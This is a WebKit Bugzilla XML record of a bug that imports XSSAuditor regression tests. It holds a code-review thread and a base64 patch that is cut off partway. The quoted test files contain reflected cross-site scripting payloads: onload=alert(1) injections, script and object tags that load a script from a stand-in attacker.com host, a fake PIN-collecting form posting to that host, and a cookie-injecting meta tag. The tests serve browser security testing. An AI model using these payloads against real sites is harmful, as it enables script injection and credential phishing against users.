<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE bugzilla SYSTEM "https://bugs.webkit.org/page.cgi?id=bugzilla.dtd">

<bugzilla version="5.0.4.1"
          urlbase="https://bugs.webkit.org/"
          
          maintainer="admin@webkit.org"
>

    <bug>
          <bug_id>54576</bug_id>
          
          <creation_ts>2011-02-16 12:34:54 -0800</creation_ts>
          <short_desc>Import XSSAuditor tests from David Ross</short_desc>
          <delta_ts>2011-02-17 02:41:00 -0800</delta_ts>
          <reporter_accessible>1</reporter_accessible>
          <cclist_accessible>1</cclist_accessible>
          <classification_id>1</classification_id>
          <classification>Unclassified</classification>
          <product>WebKit</product>
          <component>New Bugs</component>
          <version>528+ (Nightly build)</version>
          <rep_platform>Other</rep_platform>
          <op_sys>OS X 10.5</op_sys>
          <bug_status>RESOLVED</bug_status>
          <resolution>FIXED</resolution>
          
          
          <bug_file_loc></bug_file_loc>
          <status_whiteboard></status_whiteboard>
          <keywords></keywords>
          <priority>P2</priority>
          <bug_severity>Normal</bug_severity>
          <target_milestone>---</target_milestone>
          
          
          <everconfirmed>1</everconfirmed>
          <reporter name="Adam Barth">abarth</reporter>
          <assigned_to name="Adam Barth">abarth</assigned_to>
          <cc>commit-queue</cc>
    
    <cc>dbates</cc>
    
    <cc>eric</cc>
    
    <cc>ossy</cc>
          

      

      

      

          <comment_sort_order>oldest_to_newest</comment_sort_order>  
          <long_desc isprivate="0" >
    <commentid>352258</commentid>
    <comment_count>0</comment_count>
    <who name="Adam Barth">abarth</who>
    <bug_when>2011-02-16 12:34:54 -0800</bug_when>
    <thetext>Import XSSAuditor tests from David Ross</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>352265</commentid>
    <comment_count>1</comment_count>
      <attachid>82676</attachid>
    <who name="Adam Barth">abarth</who>
    <bug_when>2011-02-16 12:39:55 -0800</bug_when>
    <thetext>Created attachment 82676
Patch</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>352267</commentid>
    <comment_count>2</comment_count>
      <attachid>82676</attachid>
    <who name="Eric Seidel (no email)">eric</who>
    <bug_when>2011-02-16 12:45:01 -0800</bug_when>
    <thetext>Comment on attachment 82676
Patch

The test output isn&apos;t very nice.  Should we put these in their own folder?  Otherwise looks OK.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>352288</commentid>
    <comment_count>3</comment_count>
      <attachid>82676</attachid>
    <who name="Daniel Bates">dbates</who>
    <bug_when>2011-02-16 13:13:33 -0800</bug_when>
    <thetext>Comment on attachment 82676
Patch

View in context: https://bugs.webkit.org/attachment.cgi?id=82676&amp;action=review

&gt; LayoutTests/http/tests/security/xssAuditor/form-action.html:12
&gt; +&lt;iframe src=&quot;http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=&lt;form%20action=http://attacker.com/%20method=x&gt;&lt;input%20type=submit&gt;&lt;input%20name=x%20value=&apos;Please%20type%20your%20PIN.&apos;&gt;&quot;&gt;

It should be sufficient to reference http://127.0.0.1:8000 instead of attacker.com here.

&gt; LayoutTests/http/tests/security/xssAuditor/iframe-injection.html:12
&gt; +&lt;iframe src=&quot;http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=&lt;iframe%20src=&apos;http://attacker.com/&apos;&gt;&lt;/iframe&gt;&quot;&gt;

Ditto.

&gt; LayoutTests/http/tests/security/xssAuditor/open-attribute-body.html:12
&gt; +&lt;iframe src=&quot;http://localhost:8000/security/xssAuditor/resources/echo-property.pl?q=%22%20onload=alert(1)//&quot;&gt;

Minor nit, we have been pretty fairly consistent (not always) in using /XSS/ for alert message. This is not a deal-breaker. Although, for most of WebKit, we favor messages with PASS or FAIL. Just thought to mention this.

&gt; LayoutTests/http/tests/security/xssAuditor/open-event-handler-iframe.html:12
&gt; +&lt;iframe src=&quot;http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=&lt;iframe%20onload=alert(1)//&quot;&gt;

Ditto.

&gt; LayoutTests/http/tests/security/xssAuditor/open-iframe-src-expected.txt:1
&gt; + 

Is this suppose to be empty?

&gt; LayoutTests/http/tests/security/xssAuditor/open-script-src-expected.txt:1
&gt; +   

Is this suppose to be empty?

&gt; LayoutTests/http/tests/security/xssAuditor/open-script-src.html:16
&gt; +&lt;iframe src=&quot;http://localhost:8000/security/xssAuditor/resources/echo-inspan.pl?q=&lt;script%20src=http://attacker.com/xss.js?&gt;&quot;&gt;&lt;/iframe&gt;
&gt; +&lt;iframe src=&quot;http://localhost:8000/security/xssAuditor/resources/echo-inspan.pl?q=&lt;script%20src=http://attacker.com/xss.js?&quot;&gt;&lt;/iframe&gt;
&gt; +&lt;iframe src=&quot;http://localhost:8000/security/xssAuditor/resources/echo-inspan.pl?q=&lt;object%20data=http://attacker.com/xss.js?&gt;&quot;&gt;&lt;/iframe&gt;
&gt; +&lt;iframe src=&quot;http://localhost:8000/security/xssAuditor/resources/echo-inspan.pl?q=&lt;object%20data=http://attacker.com/xss.js?&quot;&gt;&lt;/iframe&gt;
&gt; +&lt;/body&gt;

It should be sufficient to use http://127.0.0.1:8000/security/xssAuditor/resources/xss.js instead of http://attacker.com/xss.js.

Also, the reference script is &quot;xss.js?&quot;. Is the &apos;?&apos; necessary? If so, then it should be URL-encoded.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>352290</commentid>
    <comment_count>4</comment_count>
      <attachid>82676</attachid>
    <who name="Daniel Bates">dbates</who>
    <bug_when>2011-02-16 13:15:21 -0800</bug_when>
    <thetext>Comment on attachment 82676
Patch

I didn&apos;t mean to clear the review flag. I&apos;m still looking over the patch since the review tool prevented me from scrolling to the bottom of the patch given I enlarged the general comment text field (by clicking on it).</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>352354</commentid>
    <comment_count>5</comment_count>
    <who name="Adam Barth">abarth</who>
    <bug_when>2011-02-16 14:27:09 -0800</bug_when>
    <thetext>&gt; Should we put these in their own folder?

They&apos;re already in an XSSAuditor folder.  It&apos;s just from an email he sent me.  I don&apos;t think it need another folder.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>352358</commentid>
    <comment_count>6</comment_count>
      <attachid>82676</attachid>
    <who name="Adam Barth">abarth</who>
    <bug_when>2011-02-16 14:31:56 -0800</bug_when>
    <thetext>Comment on attachment 82676
Patch

View in context: https://bugs.webkit.org/attachment.cgi?id=82676&amp;action=review

&gt;&gt; LayoutTests/http/tests/security/xssAuditor/form-action.html:12
&gt;&gt; +&lt;iframe src=&quot;http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=&lt;form%20action=http://attacker.com/%20method=x&gt;&lt;input%20type=submit&gt;&lt;input%20name=x%20value=&apos;Please%20type%20your%20PIN.&apos;&gt;&quot;&gt;
&gt; 
&gt; It should be sufficient to reference http://127.0.0.1:8000 instead of attacker.com here.

Done

&gt;&gt; LayoutTests/http/tests/security/xssAuditor/iframe-injection.html:12
&gt;&gt; +&lt;iframe src=&quot;http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=&lt;iframe%20src=&apos;http://attacker.com/&apos;&gt;&lt;/iframe&gt;&quot;&gt;
&gt; 
&gt; Ditto.

Done.

&gt;&gt; LayoutTests/http/tests/security/xssAuditor/open-attribute-body.html:12
&gt;&gt; +&lt;iframe src=&quot;http://localhost:8000/security/xssAuditor/resources/echo-property.pl?q=%22%20onload=alert(1)//&quot;&gt;
&gt; 
&gt; Minor nit, we have been pretty fairly consistent (not always) in using /XSS/ for alert message. This is not a deal-breaker. Although, for most of WebKit, we favor messages with PASS or FAIL. Just thought to mention this.

Done.

&gt;&gt; LayoutTests/http/tests/security/xssAuditor/open-event-handler-iframe.html:12
&gt;&gt; +&lt;iframe src=&quot;http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=&lt;iframe%20onload=alert(1)//&quot;&gt;
&gt; 
&gt; Ditto.

Done.

&gt;&gt; LayoutTests/http/tests/security/xssAuditor/open-iframe-src-expected.txt:1
&gt;&gt; + 
&gt; 
&gt; Is this suppose to be empty?

Yes.  It will be non-empty once we pass the test.

&gt;&gt; LayoutTests/http/tests/security/xssAuditor/open-script-src-expected.txt:1
&gt;&gt; +   
&gt; 
&gt; Is this suppose to be empty?

Same.

&gt;&gt; LayoutTests/http/tests/security/xssAuditor/open-script-src.html:16
&gt;&gt; +&lt;/body&gt;
&gt; 
&gt; It should be sufficient to use http://127.0.0.1:8000/security/xssAuditor/resources/xss.js instead of http://attacker.com/xss.js.
&gt; 
&gt; Also, the reference script is &quot;xss.js?&quot;. Is the &apos;?&apos; necessary? If so, then it should be URL-encoded.

I&apos;ve changed the URL as requested.  The ? is necessary.  David didn&apos;t escape it, so I&apos;m inclined to leave it.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>352362</commentid>
    <comment_count>7</comment_count>
      <attachid>82699</attachid>
    <who name="Adam Barth">abarth</who>
    <bug_when>2011-02-16 14:35:02 -0800</bug_when>
    <thetext>Created attachment 82699
Patch</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>352367</commentid>
    <comment_count>8</comment_count>
      <attachid>82699</attachid>
    <who name="Daniel Bates">dbates</who>
    <bug_when>2011-02-16 14:41:37 -0800</bug_when>
    <thetext>Comment on attachment 82699
Patch

View in context: https://bugs.webkit.org/attachment.cgi?id=82699&amp;action=review

Thanks Adam for updating the patch. This patch looks good. My only suggestion is that we file bugs for form-action.html and iframe-injection.html to remember to follow up and/or add a comment to the file to indicate that these tests are expected to fail so as to make the empty file expected results less mysterious in the meantime.

&gt; LayoutTests/http/tests/security/xssAuditor/script-tag-with-source-data-url.html:12
&gt; +&lt;iframe src=&quot;http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=&lt;script%20src=%22data:,alert(1)%22&quot;&gt;

Remark: You also use &quot;alert(1)&quot; here.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>352378</commentid>
    <comment_count>9</comment_count>
    <who name="Adam Barth">abarth</who>
    <bug_when>2011-02-16 14:49:26 -0800</bug_when>
    <thetext>&gt; Thanks Adam for updating the patch. This patch looks good. My only suggestion is that we file bugs for form-action.html and iframe-injection.html to remember to follow up and/or add a comment to the file to indicate that these tests are expected to fail so as to make the empty file expected results less mysterious in the meantime.

Ok.  My plan is to just fix them.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>352380</commentid>
    <comment_count>10</comment_count>
    <who name="Daniel Bates">dbates</who>
    <bug_when>2011-02-16 14:51:02 -0800</bug_when>
    <thetext>(In reply to comment #8)
&gt; (From update of attachment 82699 [details])
&gt; View in context: https://bugs.webkit.org/attachment.cgi?id=82699&amp;action=review
&gt; 
&gt; Thanks Adam for updating the patch. This patch looks good. My only suggestion is that we file bugs for form-action.html and iframe-injection.html to remember to follow up and/or add a comment to the file to indicate that these tests are expected to fail so as to make the empty file expected results less mysterious in the meantime.

Also, open-script-src and open-iframe-src have empty expected result files as well.

I noticed that between patches the expected results for iframe-injection.html changed. Previously, they were:

&quot;Blocked access to external URL http://attacker.com/&quot;

Now, the expected results file iframe-injection-expected.txt is empty.

I expected the latter (which we have now). I am curious about that &quot;Blocked access&quot; message.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>352387</commentid>
    <comment_count>11</comment_count>
    <who name="Adam Barth">abarth</who>
    <bug_when>2011-02-16 14:54:46 -0800</bug_when>
    <thetext>&gt; Also, open-script-src and open-iframe-src have empty expected result files as well.

Yep.  They need to be fixed.

&gt; I noticed that between patches the expected results for iframe-injection.html changed. Previously, they were:
&gt; 
&gt; &quot;Blocked access to external URL http://attacker.com/&quot;
&gt; 
&gt; Now, the expected results file iframe-injection-expected.txt is empty.
&gt;
&gt; I expected the latter (which we have now). I am curious about that &quot;Blocked access&quot; message.

That was DRT telling us that we tried to load attacker.com.  It blocked it because we&apos;re not allowed to talk to external web sites during testing.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>352406</commentid>
    <comment_count>12</comment_count>
    <who name="Adam Barth">abarth</who>
    <bug_when>2011-02-16 15:28:54 -0800</bug_when>
    <thetext>(In reply to comment #8)
&gt; (From update of attachment 82699 [details])
&gt; View in context: https://bugs.webkit.org/attachment.cgi?id=82699&amp;action=review
&gt; 
&gt; &gt; LayoutTests/http/tests/security/xssAuditor/script-tag-with-source-data-url.html:12
&gt; &gt; +&lt;iframe src=&quot;http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=&lt;script%20src=%22data:,alert(1)%22&quot;&gt;
&gt; 
&gt; Remark: You also use &quot;alert(1)&quot; here.

Oops.  I&apos;ll fix this in a followup.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>352534</commentid>
    <comment_count>13</comment_count>
      <attachid>82699</attachid>
    <who name="WebKit Commit Bot">commit-queue</who>
    <bug_when>2011-02-16 19:05:59 -0800</bug_when>
    <thetext>Comment on attachment 82699
Patch

Clearing flags on attachment: 82699

Committed r78776: &lt;http://trac.webkit.org/changeset/78776&gt;</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>352535</commentid>
    <comment_count>14</comment_count>
    <who name="WebKit Commit Bot">commit-queue</who>
    <bug_when>2011-02-16 19:06:04 -0800</bug_when>
    <thetext>All reviewed patches have been landed.  Closing bug.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>352705</commentid>
    <comment_count>15</comment_count>
    <who name="Csaba Osztrogonác">ossy</who>
    <bug_when>2011-02-17 02:41:00 -0800</bug_when>
    <thetext>The new http/tests/security/xssAuditor/script-tag-with-fancy-unicode.html
test fails on Qt. I filed a new bug on it: https://bugs.webkit.org/show_bug.cgi?id=54630</thetext>
  </long_desc>
      
          <attachment
              isobsolete="1"
              ispatch="1"
              isprivate="0"
          >
            <attachid>82676</attachid>
            <date>2011-02-16 12:39:55 -0800</date>
            <delta_ts>2011-02-16 14:34:59 -0800</delta_ts>
            <desc>Patch</desc>
            <filename>bug-54576-20110216123954.patch</filename>
            <type>text/plain</type>
            <size>20168</size>
            <attacher name="Adam Barth">abarth</attacher>
            
              <data encoding="base64">U3VidmVyc2lvbiBSZXZpc2lvbjogNzg3MjUKZGlmZiAtLWdpdCBhL0xheW91dFRlc3RzL0NoYW5n
ZUxvZyBiL0xheW91dFRlc3RzL0NoYW5nZUxvZwppbmRleCA2NjI3ZmIwYTYzZWRjYjE5ZTdjOWUx
ZTRhYmZiOWE5MzcxNjMwNzM0Li4zODg1NGNiYmZkNmQ5OWI1MzUzZDc0ZWM1ZGY1ZTQ2MjE4Y2I0
MjM3IDEwMDY0NAotLS0gYS9MYXlvdXRUZXN0cy9DaGFuZ2VMb2cKKysrIGIvTGF5b3V0VGVzdHMv
Q2hhbmdlTG9nCkBAIC0xLDMgKzEsNTQgQEAKKzIwMTEtMDItMTYgIEFkYW0gQmFydGggIDxhYmFy
dGhAd2Via2l0Lm9yZz4KKworICAgICAgICBSZXZpZXdlZCBieSBOT0JPRFkgKE9PUFMhKS4KKwor
ICAgICAgICBJbXBvcnQgWFNTQXVkaXRvciB0ZXN0cyBmcm9tIERhdmlkIFJvc3MKKyAgICAgICAg
aHR0cHM6Ly9idWdzLndlYmtpdC5vcmcvc2hvd19idWcuY2dpP2lkPTU0NTc2CisKKyAgICAgICAg
TWFueSBvZiB0aGVzZSB0ZXN0cyBwYXNzLCBidXQgc29tZSBvZiB0aGVtIGZhaWwgYXMgd2VsbC4g
IEknbGwgZml4IHRoZQorICAgICAgICBmYWlsaW5nIHRlc3RzIGluIGZvbGxvd3VwIHBhdGNoZXMu
CisKKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvY29va2llLWluamVj
dGlvbi1leHBlY3RlZC50eHQ6IEFkZGVkLgorICAgICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkv
eHNzQXVkaXRvci9jb29raWUtaW5qZWN0aW9uLmh0bWw6IEFkZGVkLgorICAgICAgICAgICAgLSBX
ZSdyZSBmaW5lIGhlcmUuCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9y
L2Zvcm0tYWN0aW9uLWV4cGVjdGVkLnR4dDogQWRkZWQuCisgICAgICAgICogaHR0cC90ZXN0cy9z
ZWN1cml0eS94c3NBdWRpdG9yL2Zvcm0tYWN0aW9uLmh0bWw6IEFkZGVkLgorICAgICAgICAgICAg
LSBXZSBuZWVkIHRvIGZpbHRlciBmb3JtIGFjdGlvbnMuICBQcmV2aW91c2x5LCB3ZSBjb25zaWRl
cmVkIHRoaXMKKyAgICAgICAgICAgICAgaXNzdWUgb3V0IG9mIHNjb3BlLCBidXQgd2Ugc2hvdWxk
IGJlIGFibGUgdG8gaGFuZGxlIGl0LgorICAgICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkveHNz
QXVkaXRvci9pZnJhbWUtaW5qZWN0aW9uLWV4cGVjdGVkLnR4dDogQWRkZWQuCisgICAgICAgICog
aHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2lmcmFtZS1pbmplY3Rpb24uaHRtbDogQWRk
ZWQuCisgICAgICAgICAgICAtIFdlIG5lZWQgdG8gZmlsdGVyIGlmcmFtZSBzcmMgYXR0cmlidXRl
cy4gIFByZXZpb3VzbHksIHdlCisgICAgICAgICAgICAgIGNvbnNpZGVyZWQgdGhpcyBpc3N1ZSBv
dXQgb2Ygc2NvcGUsIGJ1dCB3ZSBzaG91bGQgYmUgYWJsZSB0bworICAgICAgICAgICAgICBoYW5k
bGUgaXQuCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2lmcmFtZS1q
YXZhc2NyaXB0LXVybC1tb3JlLWVuY29kaW5nLWV4cGVjdGVkLnR4dDogQWRkZWQuCisgICAgICAg
ICogaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2lmcmFtZS1qYXZhc2NyaXB0LXVybC1t
b3JlLWVuY29kaW5nLmh0bWw6IEFkZGVkLgorICAgICAgICAgICAgLSBXZSdyZSBmaW5lIGhlcmUu
CisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2phdmFzY3JpcHQtbGlu
ay1vbmUtcGx1cy1vbmUtZXhwZWN0ZWQudHh0OiBBZGRlZC4KKyAgICAgICAgKiBodHRwL3Rlc3Rz
L3NlY3VyaXR5L3hzc0F1ZGl0b3IvamF2YXNjcmlwdC1saW5rLW9uZS1wbHVzLW9uZS5odG1sOiBB
ZGRlZC4KKyAgICAgICAgICAgIC0gV2UncmUgZmluZSBoZXJlLgorICAgICAgICAqIGh0dHAvdGVz
dHMvc2VjdXJpdHkveHNzQXVkaXRvci9vcGVuLWF0dHJpYnV0ZS1ib2R5LWV4cGVjdGVkLnR4dDog
QWRkZWQuCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL29wZW4tYXR0
cmlidXRlLWJvZHkuaHRtbDogQWRkZWQuCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS94
c3NBdWRpdG9yL29wZW4tZXZlbnQtaGFuZGxlci1pZnJhbWUtZXhwZWN0ZWQudHh0OiBBZGRlZC4K
KyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivb3Blbi1ldmVudC1oYW5k
bGVyLWlmcmFtZS5odG1sOiBBZGRlZC4KKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hz
c0F1ZGl0b3Ivb3Blbi1pZnJhbWUtc3JjLWV4cGVjdGVkLnR4dDogQWRkZWQuCisgICAgICAgICog
aHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL29wZW4taWZyYW1lLXNyYy5odG1sOiBBZGRl
ZC4KKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivb3Blbi1zY3JpcHQt
c3JjLWV4cGVjdGVkLnR4dDogQWRkZWQuCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS94
c3NBdWRpdG9yL29wZW4tc2NyaXB0LXNyYy5odG1sOiBBZGRlZC4KKyAgICAgICAgICAgIC0gVGhl
c2UgYXJlIGFsbCB0aGUgc2FtZSBjbGFzcyBvZiBpc3N1ZS4gIE5vdyB0aGF0IHdlJ3ZlCisgICAg
ICAgICAgICAgIHJlLWRlc2lnbmVkIHRoZSBmaWx0ZXIsIHdlIHNob3VsZCBiZSBhYmxlIHRvIGFk
ZHJlc3MgdGhpcyBpc3N1ZS4KKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0
b3IvcmVzb3VyY2VzL2VjaG8taW5zcGFuLnBsOiBBZGRlZC4KKyAgICAgICAgKiBodHRwL3Rlc3Rz
L3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL2VjaG8taW50ZXJ0YWcucGw6CisgICAgICAg
ICAgICAtIFRlc3RzIGluZnJhc3RydWN0dXJlIGltcHJvdmVtZW50cy4KKyAgICAgICAgKiBodHRw
L3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13aXRoLWZhbmN5LXVuaWNvZGUt
ZXhwZWN0ZWQudHh0OiBBZGRlZC4KKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1
ZGl0b3Ivc2NyaXB0LXRhZy13aXRoLWZhbmN5LXVuaWNvZGUuaHRtbDogQWRkZWQuCisgICAgICAg
ICAgICAtIEknbSBub3Qgc3VyZSB3aGF0J3MgZ29pbmcgb24gaGVyZS4gIFJlcXVpcmVzIGZ1dGhl
ciBpbnZlc3RpZ2F0aW9uLgorICAgICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRv
ci9zY3JpcHQtdGFnLXdpdGgtaW52YWxpZC11cmwtZW5jb2RpbmctZXhwZWN0ZWQudHh0OiBBZGRl
ZC4KKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13
aXRoLWludmFsaWQtdXJsLWVuY29kaW5nLmh0bWw6IEFkZGVkLgorICAgICAgICAgICAgLSBXZSdy
ZSBmaW5lIGhlcmUuCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL3Nj
cmlwdC10YWctd2l0aC1zb3VyY2UtZGF0YS11cmwtZXhwZWN0ZWQudHh0OiBBZGRlZC4KKyAgICAg
ICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13aXRoLXNvdXJj
ZS1kYXRhLXVybC5odG1sOiBBZGRlZC4KKyAgICAgICAgICAgIC0gV2UncmUgZmluZSBoZXJlLgor
CiAyMDExLTAyLTE2ICBOaWtvbGFzIFppbW1lcm1hbm4gIDxuemltbWVybWFubkByaW0uY29tPgog
CiAgICAgICAgIE5vdCByZXZpZXdlZC4KZGlmZiAtLWdpdCBhL0xheW91dFRlc3RzL2h0dHAvdGVz
dHMvc2VjdXJpdHkveHNzQXVkaXRvci9jb29raWUtaW5qZWN0aW9uLWV4cGVjdGVkLnR4dCBiL0xh
eW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9jb29raWUtaW5qZWN0aW9u
LWV4cGVjdGVkLnR4dApuZXcgZmlsZSBtb2RlIDEwMDY0NAppbmRleCAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwLi4wZTAwZmQ0OTJjMTJmMWM0ZGFmN2MyYzI5M2IwOTgz
Y2UwZDllOTYwCi0tLSAvZGV2L251bGwKKysrIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1
cml0eS94c3NBdWRpdG9yL2Nvb2tpZS1pbmplY3Rpb24tZXhwZWN0ZWQudHh0CkBAIC0wLDAgKzEs
NCBAQAorQ09OU09MRSBNRVNTQUdFOiBsaW5lIDE6IFJlZnVzZWQgdG8gZXhlY3V0ZSBhIEphdmFT
Y3JpcHQgc2NyaXB0LiBTb3VyY2UgY29kZSBvZiBzY3JpcHQgZm91bmQgd2l0aGluIHJlcXVlc3Qu
CisKK0FMRVJUOiBjb29raWU6IAorCmRpZmYgLS1naXQgYS9MYXlvdXRUZXN0cy9odHRwL3Rlc3Rz
L3NlY3VyaXR5L3hzc0F1ZGl0b3IvY29va2llLWluamVjdGlvbi5odG1sIGIvTGF5b3V0VGVzdHMv
aHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2Nvb2tpZS1pbmplY3Rpb24uaHRtbApuZXcg
ZmlsZSBtb2RlIDEwMDY0NAppbmRleCAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwLi5mMjUwYzllMzQ1Y2Y1MmE3YzQ3ZGY2MDhjNjBiYzg0ZTlmMmU2Njc0Ci0tLSAvZGV2
L251bGwKKysrIGIvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2Nv
b2tpZS1pbmplY3Rpb24uaHRtbApAQCAtMCwwICsxLDE1IEBACis8IURPQ1RZUEUgaHRtbD4KKzxo
dG1sPgorPGhlYWQ+Cis8c2NyaXB0PgoraWYgKHdpbmRvdy5sYXlvdXRUZXN0Q29udHJvbGxlcikg
eworICBsYXlvdXRUZXN0Q29udHJvbGxlci5kdW1wQXNUZXh0KCk7CisgIGxheW91dFRlc3RDb250
cm9sbGVyLnNldFhTU0F1ZGl0b3JFbmFibGVkKHRydWUpOworfQorPC9zY3JpcHQ+Cis8L2hlYWQ+
Cis8Ym9keT4KKzxpZnJhbWUgc3JjPSJodHRwOi8vbG9jYWxob3N0OjgwMDAvc2VjdXJpdHkveHNz
QXVkaXRvci9yZXNvdXJjZXMvZWNoby1pbnRlcnRhZy5wbD9hbGVydC1jb29raWU9MSZxPTxtZXRh
JTIwaHR0cC1lcXVpdj0lMjJTZXQtQ29va2llJTIyJTIwY29udGVudD0lMjJ0ZXN0Y29va2llPUZB
SUwlMjIlMjAvPiI+PC9pZnJhbWU+Cis8L2lmcmFtZT4KKzwvYm9keT4KKzwvaHRtbD4KZGlmZiAt
LWdpdCBhL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9mb3JtLWFj
dGlvbi1leHBlY3RlZC50eHQgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1
ZGl0b3IvZm9ybS1hY3Rpb24tZXhwZWN0ZWQudHh0Cm5ldyBmaWxlIG1vZGUgMTAwNjQ0CmluZGV4
IDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAuLjhiMTM3ODkxNzkxZmU5
NjkyN2FkNzhlNjRiMGFhZDdiZGVkMDhiZGMKLS0tIC9kZXYvbnVsbAorKysgYi9MYXlvdXRUZXN0
cy9odHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3IvZm9ybS1hY3Rpb24tZXhwZWN0ZWQudHh0
CkBAIC0wLDAgKzEgQEAKKwpkaWZmIC0tZ2l0IGEvTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1
cml0eS94c3NBdWRpdG9yL2Zvcm0tYWN0aW9uLmh0bWwgYi9MYXlvdXRUZXN0cy9odHRwL3Rlc3Rz
L3NlY3VyaXR5L3hzc0F1ZGl0b3IvZm9ybS1hY3Rpb24uaHRtbApuZXcgZmlsZSBtb2RlIDEwMDY0
NAppbmRleCAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwLi4xYTVhMzU3
ZDViNDJjNWFlOTgyNWMxNzk2N2YwN2ExZDNlYWNkYmYxCi0tLSAvZGV2L251bGwKKysrIGIvTGF5
b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS94c3NBdWRpdG9yL2Zvcm0tYWN0aW9uLmh0bWwK
QEAgLTAsMCArMSwxNSBAQAorPCFET0NUWVBFIGh0bWw+Cis8aHRtbD4KKzxoZWFkPgorPHNjcmlw
dD4KK2lmICh3aW5kb3cubGF5b3V0VGVzdENvbnRyb2xsZXIpIHsKKyAgbGF5b3V0VGVzdENvbnRy
b2xsZXIuZHVtcEFzVGV4dCgpOworICBsYXlvdXRUZXN0Q29udHJvbGxlci5zZXRYU1NBdWRpdG9y
RW5hYmxlZCh0cnVlKTsKK30KKzwvc2NyaXB0PgorPC9oZWFkPgorPGJvZHk+Cis8aWZyYW1lIHNy
Yz0iaHR0cDovL2xvY2FsaG9zdDo4MDAwL3NlY3VyaXR5L3hzc0F1ZGl0b3IvcmVzb3VyY2VzL2Vj
aG8taW50ZXJ0YWcucGw/cT08Zm9ybSUyMGFjdGlvbj1odHRwOi8vYXR0YWNrZXIuY29tLyUyMG1l
dGhvZD14PjxpbnB1dCUyMHR5cGU9c3VibWl0PjxpbnB1dCUyMG5hbWU9eCUyMHZhbHVlPSdQbGVh
c2UlMjB0eXBlJTIweW91ciUyMFBJTi4nPiI+Cis8L2lmcmFtZT4KKzwvYm9keT4KKzwvaHRtbD4K
ZGlmZiAtLWdpdCBhL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkveHNzQXVkaXRvci9p
ZnJhbWUtaW5qZWN0aW9uLWV4cGVjdGVkLnR4dCBiL0xheW91dFRlc3RzL2h0dHAvdGVzdHMvc2Vj
